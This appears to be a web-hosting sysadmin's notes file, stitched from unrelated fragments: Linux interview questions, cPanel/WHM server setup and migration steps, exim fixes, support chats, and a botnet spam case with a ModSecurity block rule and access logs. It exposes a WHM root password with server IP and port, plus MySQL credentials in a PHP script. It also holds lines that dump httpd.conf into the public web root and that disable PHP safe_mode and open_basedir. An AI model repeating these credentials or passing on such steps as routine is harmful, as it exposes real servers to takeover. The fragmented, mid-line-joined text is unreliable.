22. What command is used to remove the password assigned to a group?
23. Which of the following commands will show a list of the files in your home directory including hidden files and the contents of all subdirectories?
24. Which file defines all users on your system?
25. What is the minimum number of partitions you need to install Linux?
26. What is a PID?
27. Difference between Hard Link and Soft Link in Linux?
28. What is Raid? The different types and Levels of Raid?
29. What is NFS? What is its purpose?
30. What does nslookup do?
31. What is .htaccess?
32. How many field in crontab?
33. Which log contains information on currently logged in users?
34. What is DNS?
35. How do you create a swapfile?
36. How to get the mysqlbackup and restore?
37. Where is located hardware configuration file in linux?
38. Whats the advantage of using ssh over telnet?
39. How to assign temporary IP address to lan-card?
40. How to recover grub on linux server?
41. How to setup log rotation on linux server?
42. How to see only sub-directory in directory?
43. How to see only files in directory?
44. How to replace the word without opening the file?vi /var/named/domain.db
/etc/init.d/named restart
SCRIPT TO CHECK REMOTE DATABASE CONNECTION :
<?php
$Host = "localhost"; //you can use IP address instead of localhost
$User = "curtisof_outnet";
$Password = "outnethk";
$Database = "curtisof_sites";
$Link_ID=mysql_pconnect($Host, $User, $Password);
if(!$Link_ID)
{
echo"Failed";
return 0;
}
else
{
echo "Connection to the database - successful";
}
if(!@mysql_select_db($Database,$Link_ID))
{
echo "<br>cannot use Database=".$Database;
}
else
{
echo "<br>connected to Database=".$Database;
}
?><?php
# $ip=@$REMOTE_ADDR;
$ip=$_SERVER['REMOTE_ADDR'];
echo "<b>IP Address= $ip</b>";
?>
to get IP of site visitor.
Error :
T=remote_smtp defer (-53): retry time not reached for any host
open opendns.com
208.67.222.222
208.67.220.220
add these ip's into
pico /etc/resolv.conf
and restart named and exim
****************************************************************************
http://forums.cpanel.net/f43/t-remote_smtp-defer-53-retry-time-not-reached-any-host-72383.html
LOG: retry_defer MAIN
== test@******.com R=lookuphost T=remote_smtp defer (-53): retry time not reached for any host
This can be caused by multiple things, however if it happens for each email, it's likely your exim databases are corrupt; to resolve this you should:
/usr/sbin/exim_tidydb -t 1d /var/spool/exim retry > /dev/null
/usr/sbin/exim_tidydb -t 1d /var/spool/exim reject > /dev/null
/usr/sbin/exim_tidydb -t 1d /var/spool/exim wait-remote_smtp > /dev/null
/scripts/courierup -- force
/scripts/eximup --force
If you did that, yet the problem persists, you can either seek professional help, or contact the cPanel support.
***********************************************************************************************
http://linuxhostingtech.wordpress.com/2010/06/05/exim-error-tremote_smtp-defer-53/
How To Test Check If Mod_rewrite Is Enabled
We will be creating two files:
- rewrite.php
- .htaccess
IMPORTANT: its important that you do not change the name of the files we are creating on this post. if for example you choose not to call rewrite.php and choose to call this file something else like testing.php for example, it will not work. YOU MUST name the files as specified on this tutorial, otherwise, you will have problems. so follow instructions carefully
1. Open a blank notepad document
2. Copy and paste the following code into the blank notepad
<h2 align=center><?php /* mod_rewrite Test Page *//* Copyright 2006 Webune.com */if($_GET['link']==1){echo '<span style="color:red">You are not using mod_rewrite - Try LINK2</span>';} elseif($_GET['link']==2){echo'<span style="color:green">Congratulations!! You are using Apache mod_rewrite</span>';} else{echo '<span style="color:blue">Linux Apache mod_rewrte Test Tutorial</span>';} ?></h2><hr><title>How To Test mod_rewrite in Apache Linux Server</title><p align="center"><a href="http://www.webune.com/forums/how-to-test-check-if-mod-rewrite-is-enabled-t40.html"><p><a href="rewrite.php?link=1" style="color:red"><strong>LINK 1</strong></a> = LINK 1 Does NOT use Mod Rewrite. LINK 1 uses standard URL: <u>rewrite.php?link=1</u></p><p><a href="link2.html" style="color:green"><strong>LINK 2</strong></a> = LINK 2 - Yes, Uses Apache's Mod Rewrite using this URL:: <u>link2.html</u><br><br><br>How this works: both links are for this same page, except they both are different. link one is without the mod_rewrite and link2 is using mod_rewrite. Link1 show the php file, with with mod_rewrite we are mascarading the php file into a html file. you can use whatever type of extension you want, you can change it to .htm or .shtml etc... all you have to do is to make sure you also chang it in the .htaccess file</p><p>NOTE: when you click on LINK2, you should see a message that says: Congratulations!! You are using Apache mod_rewrite</p><p>500 ERROR: If you get a 500 Error, this means you made a typo or mistake creating the files OR you are not allowed to use .htaccess</p><p>404 ERROR: if you get a 404 error, then this means you do not have Mod_Rewrite on this server.</p><p></p><p><< <a href="http://www.webune.com/forums/how-to-test-check-if-mod-rewrite-is-enabled-t40.html"></p>
3. Now Save the file as "rewrite.php" - When you 'Save As..' in notepad, be sure to put quotes when you are saving the file, otherwise, notepad will add a .txt extension to the file, like this: rewrite.php.txt - is should only be rewrite.php, thats why you have to include the quotes
4. Now create a file called .htaccess - to make this type of file, open another blank notepad document
5. Copy and paste the following code into the .htaccess file:
# SCRIPT CREATED BY WEBUNE.COM
# THIS WORKS WITH rewrite.php FILE
# READ MORE AT: http://www.webune.com/forums/how-to-test-check-if-mod-rewrite-is-enabled-t40.html
RewriteEngine On
RewriteRule ^link([^/]*).html$ rewrite.php?link=$1 [L]
6. Save as ".htaccess" (if you are using notepad as I am, make sure to put quotes in between .htaccess example: ".htaccess" otherwise, notepad will create a file called .htacces.txt and we don't need the .txt at the end only .htaccess)
7. Now upload these two file into a new directory in your site. for example: test/
8. Open the rewrite.php file with your browser to the location you just uploaded. for example:
http://www.your_website.com/test/rewrite.php
9. you should see two links, LINK1 and LINK2 Click on LINK1 and the same page will display.
10. Now click on LINK2 and the same page will display with the a mod_rewrite message. If it doesnt you either did something wrong. Check your steps. If you checked your steps, refresh your browser, and if refreshing doesnt work, then you dont have mod_rewrite enabled or you dont have permission to run .htaccess files on your website. talk to your web hosting company to make sure they allow apache .htaccess - Some hosting companies do not allow .htaccess because some people take advantage of this feature, so many web hosting companies block their users from using. so check with them
If you get a 500 Error, then you do not have mod_rewrite enabled in your server. Or if mod_rewrite is not working for you and you are a Webune customer, please contact our support team to assist you.
***************************************************
http://www.webune.com/forums/how-to-test-check-if-mod-rewrite-is-enabled-t40.htmlProcedure to change root login to vicksream user
First off all keep login via SSH in server with root login
and now open new session with root login
1.
userdel njsghdow
adduser 3gteam -- will add 3gteam user
passwd 3gteam -- this will change the password for 3gteam user. Put the password from database for 3gteam
2.
Setting root login :
root@rhodium [~]# vi /etc/ssh/sshd_config
Set the followring values :
Port 1097
#Port 22
#PermitRootLogin no from #PermitRootLogin yes
Save the changes and exit from this file.
3. Now restart the sshd service.
/etc/init.d/sshd restart
4. Now open the file :
pico /etc/group
put the user 3gteam against the value wheel
wheel:x:10:root,3gteam
exit from this file and save the changes.
5. Now check the port 1097 is added or not
pico /etc/csf/csf.conf
add the port 1097 in TCP_IP and TCP_IN and restart csf service
csf -r
Also restart the sshd service again
and try to ssh with the new session with 3gteam and 1097 port.
******************************************************************************
Setting up user login :
userdel njsghdow
adduser 3gteam
passwd 3gteam
vi /etc/ssh/sshd_config
permit root login no
prt no 1097
service sshd restart
vi /etc/group
add in wheel
: for this go to /etc/ , pico group and search the word : wheel and set the new user like
wheel:x:10:root,3gteam
login as root
Email on root login:
1. cd /root
2. pico .bashrc
3. Scroll to the end of the file then add the following: as per server name
echo 'ALERT - Root Shell Access on:' `date` `who` | mail -s "Alert: Root Access on saint.site.com from `who | cut -d"(" -f2 | cut -d")" -f1`" rootlogin@minmaxgroup.com
4. exit and su - again* to block the IP in router :
route add -host 114.69.241.130 reject
* we have tried this cmd to unblock ip from route and it worked:
route del 114.69.241.130
* to check whether the IP is blocked in router or not.
route -n | grep 114.69.241.130
http://linux-ip.net/html/tools-ip-route.html
rsync -vrplogDtH /var/lib/mysql root@IPAddress:/var/lib
rsync -vrplogDtH /var/cpanel root@IPAddress:/var
rsync -vrplogDtH /usr/local/apache/conf root@IPAddress:/usr/local/apache
rsync -vrplogDtH /usr/local/frontpage root@IPAddress:/usr/local
rsync -vrplogDtH /var/named root@IPAddress:/var
rsync -vrplogDtH /var/ssl root@IPAddress:/var
rsync -vrplogDtH /var/spool/cron root@IPAddress:/var/spool
rsync -vrplogDtH /usr/share/ssl root@IPAddress:/usr/share
rsync -vrplogDtH /etc/vfilters root@IPAddress:/etc
rsync -vrplogDtH /etc/proftpd root@IPAddress:/etc
rsync -vrplogDtH /etc/vmail root@IPAddress:/etc
rsync -vrplogDtH /home/* root@IPAddress:/home
rsync -vrplogDtH /usr/local/cpanel root@IPAddress:/usr/local
rsync -vrplogDtH /usr/local/cpanel/3rdparty/mailman root@IPAddress:/usr/local/cpanel/3rdparty
rsync -vrplogDtH /var/log/bandwidth root@IPAddress:/var/log
rsync -vrplogDtH /root/.my.cnf root@IPAddress:/root
rsync -vrplogDtH /etc/httpd/conf/httpd.conf root@IPAddress:/etc/httpd/conf/
rsync -vrplogDtH /etc/sysconfig/network root@IPAddress:/etc/sysconfig
=================================================
rsync -vrplogDtH /home/gius/ root@67.23.226.107:/home
Use following command
rsync -avHP /home/username/public_html root@server_ip:/home/usernamersync -av --progress --rsh="ssh -l 3gteam" saurabhj/ 66.7.193.3:/usr/local/apache/htdocs/saurabhj/
================================================================================
scp -rp cpmove-saurabhj.tar.gz 3gteam@66.7.193.3:~
scp -rp comove-filename.tar.gz serverusername@serverIP:~
where the server ip is the ip on which server you have to move the accunt
and run the command on the server from which you have to move the account
scp -rp cpmove-saurabhj.tar.gz /home/
scp -rp filename destination
rsync -avHP /home/ukotvcom/public_html/ root@oyster.site.com:/home/ukotvcom/public_html/
rsync -avHP cpmove-abdturkc.tar.gz root@oyster.site.com:/home/
rsync -acHP /var/cpanel/userdata/ukotvcom root@oyster.site.com:/var/cpanel/userdata/
rsync -acHP /var/cpanel/users/ukotvcom root@oyster.site.com:/var/cpanel/users/
rsync -acHP /etc/valiases/ukotv.com root@oyster.site.com:/etc/valiases/
[root@formula ~]# tty
/dev/pts/4
[root@formula ~]# ps -a
PID TTY TIME CMD
13723 pts/0 00:00:00 vim
18306 pts/4 00:00:00 su
18738 pts/4 00:00:00 bash
18795 pts/5 00:00:00 su
18796 pts/5 00:00:00 bash
18871 pts/0 00:00:00 su
18874 pts/0 00:00:00 bash
19144 pts/3 00:00:00 su
19150 pts/3 00:00:00 bash
21333 pts/4 00:00:00 ps
26617 pts/1 00:00:00 su
26630 pts/1 00:00:00 bash
27184 pts/2 00:00:00 su
27187 pts/2 00:00:00 bash
[root@formula ~]# kill -9 26630 26617 27184 27187
[root@formula ~]# ps -a
PID TTY TIME CMD
13723 pts/0 00:00:00 vim
18306 pts/4 00:00:00 su
18738 pts/4 00:00:00 bash
18795 pts/5 00:00:00 su
18796 pts/5 00:00:00 bash
18871 pts/0 00:00:00 su
18874 pts/0 00:00:00 bash
19144 pts/3 00:00:00 su
19150 pts/3 00:00:00 bash
21750 pts/4 00:00:00 ps
[root@formula ~]# kill -9 13723 18871 18874
[root@formula ~]# ps -a
PID TTY TIME CMD
18306 pts/4 00:00:00 su
18738 pts/4 00:00:00 bash
18795 pts/5 00:00:00 su
18796 pts/5 00:00:00 bash
19144 pts/3 00:00:00 su
19150 pts/3 00:00:00 bash
22205 pts/4 00:00:00 ps
[root@formula ~]#
Moved file in home and follow following steos
Main >> Backup >> Restore a Full Backup/cpmove file
scp cpmove-phainswo.tar.gz root@oyster.site.com:/home/
rsync -avHP cpmove-abdturkc.tar.gz root@oyster.site.com:/home/
/var/lib/mysql --- /var/cpanel/userdata/username ---- /var/cpanel/users/username ---
[5:09:46 PM] techsupportco6: /etc/alises/username
[5:09:55 PM] techsupportco6: Move all these
[5:22:16 PM] techsupportco6: rsync -acHP /var/cpanel/userdatat/usernamre root@hostname:/var/cpanel/userdata/
[6:47:14 PM] techsupportco6: 8904786377
http://www.rvsitebuilder.com/index.php/main/public/action/view/page/tutorials
Support ticket :
https://support.cpanellicense.com/support-center/index.php?x=&mod_id=4&t=4
************************************************************
Issue :
Tue, 20 April, 2010 9:49:01 AM
[SB #BSU-66757-843]: Error when configure FAQ module using rvsitebuilder
From:
"helpdesk@cpanellicense.com" <helpdesk@cpanellicense.com>
Add to Contacts
To: whwtest@yahoo.com
Dear whwtest@yahoo.com,
This is an automated response to inform you that your ticket has been received, one of the staff members will review it and reply accordingly. Listed below are details of this ticket.
-------Ticket Details-------
Ticket ID: BSU-66757-843
Subject: Error when configure FAQ module using rvsitebuilder
Department: RVSiteBuilder
If you reply to this ticket, please make sure the Ticket ID remains in the subject at all times.
You also be able to check the status or reply to this ticket online at:
http://support.cpanellicense.com/support-center/index.php?x=&mod_id=5&ticket=BSU-66757-843
If you access to the system for the first time, please register using whwtest@yahoo.com as your contact email.
If you already have an account but forgot password, please click 'Forgot Password?' link to request new password.
Please do let us know if we can assist you any further,
--~--~---------~--~----~------------~-------~--~----~
Web Experts Co.,Ltd.
http://www.cPanelLicense.com
http://www.RVSkin.com
--
RV Global Soft Co.,Ltd.
http://www.RVSiteBuilder.com
--~--~---------~--~----~------------~-------~--~----~
RVSITE Builder Problem :
I am facing the error when i try to configure FAQ module using rvsitebuilder into customised data base and getting the error like :
> > >
> > > URL : http://redwebhost.com.ar/rednomina/
> > >
> > >Warning: require_once(/home/redwebho/.rvsitebuilder/seagull/lib/SGL/FrontController.php) [function.require-once]: failed to open stream: No such file or directory in /home/redwebho/public_html/rednomina/rvscommonfunc.php on line 114
> > >
> > > Fatal error: require_once() [function.require]: Failed opening required '/home/redwebho/.rvsitebuilder/seagull/lib/SGL/FrontController.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/redwebho/public_html/rednomina/rvscommonfunc.php on line 114
Solution :
Hello,
We not do anything, because we still cannot SSH to your server. We just try to republish, and it's work. :)
In the future, if the error comes again please try to force update using following commnad.
rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/var/INSTALL_COMPLETE.php
rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/rvsitebuilderversion.txt
perl /usr/local/cpanel/whostmgr/docroot/cgi/rvsitebuilderinstaller/autoinstaller.cgi
perl /var/cpanel/rvglobalsoft/rvsitebuilder/panelmenus/cpanel/scripts/autofixphpini.pl
/scripts/makecpphpFOR LICENCE ERROR :
rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/rvsitebuilder.lic
rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/rvsitebuilder-pro.lic
perl /usr/local/cpanel/whostmgr/docroot/cgi/rvsitebuilderinstaller/autoinstaller.cgi
==================
licence error 67.23.226.189(67.23.226.189) is not found.
We need to login rvsitebuilder account and select correct licence.
==================
RVSite Builder Error :
Warning: require_once(/home/vxentcom/.rvsitebuilder/seagull/lib/SGL/FrontController.php) [function.require-once]: failed to open stream: No such file or directory in /home/vxentcom/public_html/rvscommonfunc.php on line 114
Fatal error: require_once() [function.require]: Failed opening required '/home/vxentcom/.rvsitebuilder/seagull/lib/SGL/FrontController.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/vxentcom/public_html/rvscommonfunc.php on line 114
Please SSh to server as root and force update using this command.
rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/var/INSTALL_COMPLETE.php
rm -f /var/cpanel/rvglobalsoft/rvsitebuilder/rvsitebuilderversion.txt
perl /usr/local/cpanel/whostmgr/docroot/cgi/rvsitebuilderinstaller/autoinstaller.cgi
Disable safe_mode & openbase_dir with .htaccess
php_admin_flag safe_mode off
php_admin_value open_basedir nonePlease wait while we find an agent to assist you...
You have been connected to Robert Lin.
Robert Lin: hi
talker: how do I get a thawte logo to put on my site with ssl installed
Robert Lin: May I know what is the order number of your certificate request ?
talker: hold on
talker: 8509485
talker: domain www.katzeyezeyewear.com
Robert Lin: ok this is the order number of your certificate : AUKATZ2
Robert Lin: you will need to use this order number to obtain the script for the site seal
Robert Lin: This will help you to obtain the site seal : http://search.thawte.com/thawte/solution.jsp?id=vs4015
talker: let me check
talker: ok thanks cat /etc/httpd/conf/httpd.conf > /usr/local/apache/htdocs/http.txtSteps for Server Configuration
==========================================================
I >First login to poweradmin One and two (Add Supermaster zone)
IP---new server IP
Host name -- ns1.site.com or 1.nseasy.com
Account : server name ex : accord
II >After that Search Zone and Records ---site.com
After that Edit and Add A record(Ip of the new server)
III > After that open another shell(another server) and type vi /etc/named.conf
Copy the line also-notify with IP address and semi colon
and New server : vi /etc/named.conf
Paste the also notify lines
and save (:wq!)
IV > On the shell of the new server, type useradd 3gteam
passwd 3gteam
Enter the password for 3gteam.
Restart sshd
V > Then vi /etc/group
wheel:x:10:root,3gteam
VI >Then vi /etc/ssh/sshd_config
Remove # and enter port number 1097
Remove # and PermitRootlogin Yes Change to PermitRootlogin No
In WHM, In ConfigServer Security & Firewall, Firewall Configuration and add the IP 1097 in TCP_IN and TCP_Out
VII >Go to WHM >> ConfigServer Security & Firewall >> Check Server Security >> Check /tmp permissions , Check /var/tmp permissions, Check /usr/tmp permissions Change all permissions as given in WHM on the shell
VIII >Check the php.ini file of the another server and compare it with the new server(Disable functions >> Just remove exec from the shell and restart apache )
IX >In WHM,, type Suexec, PHP and SuExec Configuration >> php 5 hander >>Drop down (select dso) and save changes
X > Check in another server for mysql connection > vi /etc/my.cnf (the values should be same on the new server)
XI >Go to http://configserver.net/ >> ConfigServer Mail Queues >> Right click >> wget http://configserver.net/free/cmq.tgz
Then go down on the link ConfigServer Mail Queues (install.txt) >> Click >>
On the shell
>> tar -xzf cmq.tgz
>> cd cmq/
>>sh install.sh
Refresh WHM and you will see ConfigServer Mail Queues at the left side bottom
Then open the link ConfigServer Mail Manage from http://configserver.net/ and wget the link ( wget http://configserver.net/free/cmq.tgz)
ConfigServer Mail Manage >> install.txt >> Click
On the shell
tar -xzf cmm.tgz
cd cmm/
sh install.sh
Login to WHM and scroll to the bottom of the left hand menu and you should see "ConfigServer Mail Manage"
If http command is not there on the server, then on the another server, type which http.
You will get a path for http. Then go in that path by vi /bin/http and on the new server, go by cd /bin and vi http and copy the code from old server(vi /bin/http)
XII >Open a Old server WHM and edit packages >> and add package on a new server and enter the values as it is.
XIII >Then WHM >> Feature manager
Add Excite >>Feature List Name >> Excite >> Add >> Remove Click Be as we do not provide Click Be
XIV >>Create a account as vanessatestjade.com(Example) from WHM >> Create account >>Package Excite
XV >> Then run the command /scripts/fixquotas on the server
XVI >> Login to shell of Prime server(if the new server configured is of site), prime port is 22 and root as user
/scripts/whoowns network-command.com
cd public_html/status03(if adding in 3rd page )
vi config.php
Add the new server in the server list
XVI >> Check the entries of the new added domain (step XIV) In the PowerDNS 1 and 2
XVII >> WHM >> Tweak Settings >> When adding a new domain, automatically create A entries for the registered
nameservers if they would be contained in the zone. >> Unselect
XVIII > Correct the following block in httpd.conf according to the server:
vi /etc/httpd/conf/httpd.conf
Just above the second block (pid) place the following
NameVirtualHost 67.23.226.97:80 (new server IP)
<VirtualHost 67.23.226.169>
ServerName accord.site.com
DocumentRoot /usr/local/apache/htdocs
</VirtualHost>
Add one more option in configuration file
http://67.23.226.139:2086/scripts6/do_edit_contact_info
This we have to disable
Go to WHM >> Support >> Configure Customer Contact >> Disable and save
XIX >> cd /usr/local/apache/htdocs
Search for the file serverstats_inc.php
If not there, copy from any other server
cat serverstats_inc.php
Copy and paste on the new server
Restart apache
XX >> Change password on the shell with passwd
Put any password
Save
Save in the Database
In the data base Edit(Add Entry) Title(Server name) Username : IP Password : New one
====================================================
Checks :
[1:14:07 PM] bluffer:
- suPHP
- Fantastico
- RV SiteBuilder
- Configure with NS: 1/2.nsjet.com 'clsuter'
- NS entry for hostname in 1/2.nsjet.com
- SSL on hostname & services
- Temp url /~user
- CSF
- Root Login notification
- Add to Stats
- Add to Panopta
- Packages are NOT required
- Disable root login / Wheel user '3gteam'
- Disable Customer Contact
- Remove Supprot from Feature manager
- Run AXOND script ( host dime script )
- Configure backup and setup cron
- Install kernel script
- tmp secure
- Add commands --( killwhom, hload , http, check, blockdo )
====================================================
server details
[10:23:36 AM] bluffer: 1)Important Links
accord.site.com
Web Host Manager: https://67.23.226.169:2087
WHM Username: root
WHM Password: k|4mJ:tPbf
port :1157
directory "/var/named"; // the default
dump-file "data/cache_dump.db";
statistics-file "data/named_stats.txt";
memstatistics-file "data/named_mem_stats.txt";
/* memstatistics-file "data/named_mem_stats.txt"; */
allow-transfer {"none";};
also-notify {
67.19.91.74;
66.7.219.224;
};
};
Steps for Server Configuration
==========================================================
I >First login to poweradmin One and two (Add Supermaster zone)
IP---new server IP
Host name -- ns1.site.com or 1.nseasy.com
Account : server name
II >After that Search Zone and Records ---site.com
After that Edit and Add A record(Ip of the new server)
III > After that open another shell(another server) and type vi /etc/named.conf
Copy the line also-notify with IP address and semi colon
and New server : vi /etc/named.conf
Paste the also notify lines
and save (:wq!)
IV > On the shell of the new server, type useradd 3gteam
passwd 3gteam
Enter the password for 3gteam.
V > Then vi/etc/group
wheel:x:10:root,3gteam
VI >Then /etc/ssh/sshd_config
Remove # and enter port number 1097
Remove # and PermitRootlogin Yes Change to PermitRootlogin No
In WHM, In ConfigServer Security & Firewall, Firewall Configuration and add the IP 1097 in TCP_IN and TCP_Out
VII >Go to WHM >> ConfigServer Security & Firewall >> Check Server Security >> Check /tmp permissions , Check /var/tmp permissions, Check /usr/tmp permissions Change all permissions as given in WHM on the shell
VIII >Check the php.ini file of the another server and compare it with the new server(Disabled functions >> Just remove exec from the shell and restart apache )
IX >In WHM,, type Suexec, PHP and SuExec Configuration >> php 5 hander >>Drop down (select dso) and save changes
X > Check in another server for mysql connection > vi/etc/my.cnf (the values should be same on the new server)
XI >Go to http://configserver.net/ >> ConfigServer Mail Queues >> Right click >> wget http://configserver.net/free/cmq.tgz
Then go down on the link ConfigServer Mail Queues (install.txt) >> Click >>
On the shell
>> tar -xzf cmq.tgz
>> cd cmq/
>>sh install.sh
Refresh WHM and you will see ConfigServer Mail Queues at the left side bottom
Then open the link ConfigServer Mail Manage from http://configserver.net/ and wget the link ( wget http://configserver.net/free/cmq.tgz)
ConfigServer Mail Manage >> install.txt >> Click
On the shell
tar -xzf cmm.tgz
cd cmm/
sh install.sh
Login to WHM and scroll to the bottom of the left hand menu and you should see "ConfigServer Mail Manage"
XII >Open a Old server WHM and edit packages >> and add package on a new server and enter the values as it is.
XIII >Then WHM >> Feature manager
Add Excite >>Feature List Name >> Excite >> Add >> Remove Click Be as we do not provide Click Be
XIV >>Create a account as vanessatestjade.com(Example) from WHM >> Create account >>Package Excite
XV >> Then run the command /scripts/fixquota on the server
XVI >> Login to shell of Prime server(if the new server configured is of site), prime port is 22 and root as user
/scripts/whoowns network-command.com
cd public_html/status03(if adding in 3rd page )
vi config.php
Add the new server in the server list
XVI >> Check the entries of the new added domain (step XIV) In the PowerDNS 1 and 2
XVII >> WHM >> Tweak Settings >> When adding a new domain, automatically create A entries for the registered
nameservers if they would be contained in the zone. >> Unselect
XVIII > Correct the following block in httpd.conf according to the server:
vi /etc/httpd/conf/httpd.conf
NameVirtualHost 66.7.199.176:80(New Server IP)
<VirtualHost 66.7.199.176>(New server IP)
ServerName saint.site.com (New server name)
DocumentRoot /usr/local/apache/htdocs
</VirtualHost>
XIX >> cd /usr/local/apache/htdocs
Search for the file serverstats_inc.php
If not there, copy from any other server
cat serverstats_inc.php
Copy and paste on the new server
Restart apache
XX >> Change password on the shell with passwd
Put any password
Save
Save in the Database
====================================================
http://reports.panopta.com/MinMax.UptimeHow to Configure FileZilla 2.2.32 for Secure File Transfer Protocol (SFTP) - (Windows XP/Vista)
Once correctly configured, FileZilla 2.2.32 supports secure file transfer protocol (SFTP) connections.
Configuring FileZilla for SFTP
Important: Before configuring FileZilla 2.2.32 to run in SFTP, check with your Local Support Provider (LSP) to ensure your School, Department, or administrative unit supports SFTP. Since the instructions below are basic, you should also check with your LSP for any special instructions that may apply.
Start FileZilla 2.2.32 (Start All Programs FileZilla FileZilla 2.2.32).
From the File menu, select Site Manager... . The Site Manager windows displays.
Click the New Site button located in the bottom left corner of the window. A New FTP site icon appears beneath the My FTP Sites folder icon:
In place of the displayed words New FTP site, type a descriptive name for your new SFTP site profile (e.g., myserver SFTP).
Click in the Host field, then type the actual host name of the new SFTP site (e.g., myserver.upenn.edu).
Beneath Servertype, click the down arrow and select SFTP using SSH2.
Beneath Logontype, select the Normal radio button.
In the User field, enter your username.
Click the Save and Exit button at the bottom right of the window.
You have successfully created an SFTP site profile. When you next connect to this new SFTP site, you will be prompted to enter your password after entering your username.
Using FileZilla to Connect to the New SFTP Site for the First Time
Start FileZilla 2.2.32 (Start All Programs FileZilla FileZilla 2.2.32).
From the File menu, select Site Manager... . The Site Manager window displays.
Beneath My FTP Sites, select the new SFTP site you just created (for example, myserver.upenn.edu); then press the Connect button.
When prompted, enter your password in the dialog box.
The first time only that you connect to your server, the a dialog box will display with a message stating that the server's host key is not cached in the registry, and asking to store key in cache? Click Yes to store the SSL certificate.
Your Local Site files will now display in the left panel of the screen, and Remote SFTP Site files will display in the right panel of the screen.
When finished, disconnect from the directory by selecting Disconnect from the File menu, and then select Exit from the File menu.chsh -s /usr/local/cpanel/bin/jailshell usershttp://www.xml-sitemaps.com/set keepalive off if sites are working slow on site despite load < 7
Horde Failed to connect to localhost:25 error message
Horde Failed to connect to localhost:25 error message
By Gunjan · August 6, 2010
On Shared server as well as on Dedicated server some time we are facing large connection issue to SMTP port 25 at that time mostly we disable SMTP port 25 and enable any other port for SMTP but after changing SMTP port mostly we receive following error message in Horde webmail.
There was an error sending your message: Failed to connect to localhost:25 [SMTP: Invalid response code received from server (code: 421, response: Too many concurrent SMTP connections; please try again later.)]
To resolve above error simply change SMTP port from 25 to new SMTP port in following file.
root@server [/usr/local/cpanel/base/horde/imp/config]# Pico servers.php
And change following line
From
‘smtpport’ => 25,
To
‘smtpport’ => 26,
We have taken new port as 26 for example you can use any port as per your requirement.
Similar problem with “Squirrelmail” then refer following steps.
root@server [/usr/local/cpanel/base/3rdparty/squirrelmail/config]#pico config_default.php
Change following line
From
$smtpPort = 25;
To
$smtpPort = 26;
Save file and exit and now open the webmail.
****************************************************
http://www.theperfectarts.com/SOAP enabled on : Air, Salute
php -m
session
SimpleXML
soap --------------------->
sockets
SourceGuardian
SPL
standard
tidy
tokenizer
wddx
xml
xmlreader
xmlrpc
xmlwriter
xsl
Zend Optimizer
zip
zlib
/var/cpanel/users/username
/scripts/updateuserdomains
/var/named/domain.db
/etc/named.conf
/usr/local/apache/conf/httpd.conf
/etc/localdomains
/etc/userdomains
/etc/trueuserdomains
/etc/trueuserowners
/etc/valiases/domain.com
/etc/vdomainaliases/domain.com
/etc/vfilters/domain.comSPAMMER ACTION CASE
https://core.hostdime.com/support/view/id/115396
The following Mod Security rule will prevent the execution of the malicious script:
======
SecRule REQUEST_URI "/(l_)?backuptoster(_r)?\.php[345]?" "phase:1,block,deny,drop,id:19160115,log,msg:'Botnet Spam Script Request',status:406"
======
The previous text should be appended as a single line to the existing contents of the [/usr/local/apache/conf/modsec2.user.conf] file.
The password of the [sabapalc] account should be changed (after unsuspension) and its operator notified that their systems are likely infected with botnet/other malware-class software and they should take action to remove it.
The following IP ranges should be blocked at the server's firewall:
======
204.45.121.104/29
204.45.119.96/29
======
These IP ranges encompass the sources of this attack.
Additionally, WHM offers a "SMTP Tweak" that can help reduce the likelihood of success of this kind of attack.
If CSF is installed on this server, its "SMTP_BLOCK" functionality should be used instead.
==========================
oot@salute [/home/sabapalc]# grep -ilr "backuptoste" *
access-logs/saba-pal.com
access-logs/ftp.saba-pal.com-ftp_log
root@salute [/home/sabapalc]# vi access-logs/saba-pal.com
220.181.108.160 - - [06/Feb/2011:07:26:54 -0500] "GET / HTTP/1.1" 200 2053 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
204.45.121.106 - - [06/Feb/2011:13:02:57 -0500] "GET /l_backuptoster_r.php?id=3506&ipAddr=204.45.121.106&serv_name=www.saba-pal.com HTTP/1.1" 200 28 "-" "-"
204.45.121.106 - - [06/Feb/2011:13:02:58 -0500] "GET /l_backuptoster_r.php?id=3511&ipAddr=204.45.121.106&serv_name=www.saba-pal.com HTTP/1.1" 200 28 "-" "-"
204.45.121.106 - - [06/Feb/2011:13:02:56 -0500] "GET /l_backuptoster_r.php?id=3500&ipAddr=204.45.121.106&serv_name=w
oot@salute [/home/sabapalc]# grep -ilr "backuptoste" *
access-logs/saba-pal.com
access-logs/ftp.saba-pal.com-ftp_log
root@salute [/home/sabapalc]# vi access-logs/saba-pal.com
220.181.108.160 - - [06/Feb/2011:07:26:54 -0500] "GET / HTTP/1.1" 200 2053 "-" "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
204.45.121.106 - - [06/Feb/2011:13:02:57 -0500] "GET /l_backuptoster_r.php?id=3506&ipAddr=204.45.121.106&serv_name=www.saba-pal.com HTTP/1.1" 200 28 "-" "-"
204.45.121.106 - - [06/Feb/2011:13:02:58 -0500] "GET /l_backuptoster_r.php?id=3511&ipAddr=204.45.121.106&serv_name=www.saba-pal.com HTTP/1.1" 200 28 "-" "-"
204.45.121.106 - - [06/Feb/2011:13:02:56 -0500] "GET /l_backuptoster_r.php?id=3500&ipAddr=204.45.121.106&serv_name=w
==========================
http://old.openspf.org/wizard.html
http://www.microsoft.com/mscorp/safety/content/technologies/senderid/wizard/default.aspx
Also Check all these URL's
http://support.uk-vps.com/index.php?_m=knowledgebase&_a=viewarticle&kbarticleid=10
http://www.mycutelife.net/sanju/help1/mailissue
http://helpdesk.hostmonster.com/index.php/kb/article/372
Error from Squirremail :
1)grep -rl ahoo.co.in /var/spool/exim/input/ | xargs rm
this will delete the mails from ythe queue which consist of ahoo.co.in
********************************************************************************************************
2) exim -bp |exiqsumm
exim -bp | exiqsumm | awk '{if ($1 >100)print $0 }' | sort -n
this will show the no of mails for each domain
to find who is sending mails
ps -C exim -fH eww
********************************************************************************************************
3) error in webmail
-----------------------------
Email delivery error Server replied:
1 Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -ftest@domainname.com'.
-----------------------------
Email delivery error Server replied: 255 Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -ftest@philadelphiamaven.com'.
